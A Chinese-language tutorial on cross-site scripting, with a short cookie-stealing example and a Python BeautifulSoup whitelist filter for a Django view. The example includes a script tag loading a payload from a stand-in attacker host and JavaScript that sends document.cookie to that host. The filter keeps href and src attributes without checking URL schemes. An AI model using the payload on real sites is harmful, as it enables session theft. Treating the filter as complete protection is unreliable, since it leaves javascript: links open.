一、什么是XSS攻击
跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。
跨站脚本攻击可能造成以下影响:利用虚假输入表单骗取用户个人信息;利用脚本获取用户cookie,然后在用户不知情的情况下做出危害用户个人利益的行为。
例如:如下行为就可以窃取客户的cookie
#黑客脚本文件
<script src=http://hacker.jp/xss.js></script>
#黑客脚本文件内容,获取用户的cookie并发送至黑客网址
var content = escape(document.cookie);document.write("<img src=http://hacker.jp/?");
document.write(content);
document.write(">");
在web应用上执行黑客脚本文件就可以窃取到客户的cookie,并且当送到指定的黑客网址。
二、预防XSS攻击
XSS攻击存在的根本原因是对用户提交给Web Server端的内容没有进行充分的过滤,如果服务端对用户提交的一些不合法的参数和内容进行过滤,也就不易出现XSS攻击了。
预防XSS攻击思路:对用户提交的内容进行过滤,尤其是script标签,然后再将其存入到数据库中。
1、XSS过滤器
from bs4 import BeautifulSoup
class XSSFilter(object):
__instance = None
def __init__(self):
"""
XSS白名单
"""
self.valid_tags = {
"font": ['color', 'size', 'face', 'style'],
'b': [],
'div': [],
"span": [],
"table": [
'border', 'cellspacing', 'cellpadding'
],
'th': [
'colspan', 'rowspan'
],
'td': [
'colspan', 'rowspan'
],
"a": ['href', 'target', 'name'],
"img": ['src', 'alt', 'title'],
'p': [
'align'
],
"pre": ['class'],
"hr": ['class'],
'strong': []
}
def __new__(cls, *args, **kwargs):
"""
单例模式,保证每一个用户都使用一个对象(对象的初始化内容一样),这样节省占用空间
:param cls:
:param args:
:param kwargs:
:return:
"""
if not cls.__instance:
obj = object.__new__(cls, *args, **kwargs)
cls.__instance = obj
return cls.__instance
def process(self, content):
"""
对用户提交的内容进行过滤,然后再返回过滤后的字符串内容
:param content:
:return:
"""
soup = BeautifulSoup(content, 'html.parser')
# 遍历所有HTML标签
for tag in soup.find_all(recursive=True):
# 判断标签名是否在白名单中
if tag.name not in self.valid_tags:
tag.hidden = True
if tag.name not in ['html', 'body']:
tag.hidden = True
tag.clear()
continue
# 当前标签的所有属性白名单
attr_rules = self.valid_tags[tag.name]
keys = list(tag.attrs.keys())
for key in keys:
if key not in attr_rules:
del tag[key]
return soup.decode()
2、使用
在需要使用的视图函数中进行使用上述实例中的process函数:
def add_book(request):
if request.method == 'POST':
...
#进行过滤
content = XSSFilter().process(content)
...
return redirect('/book/')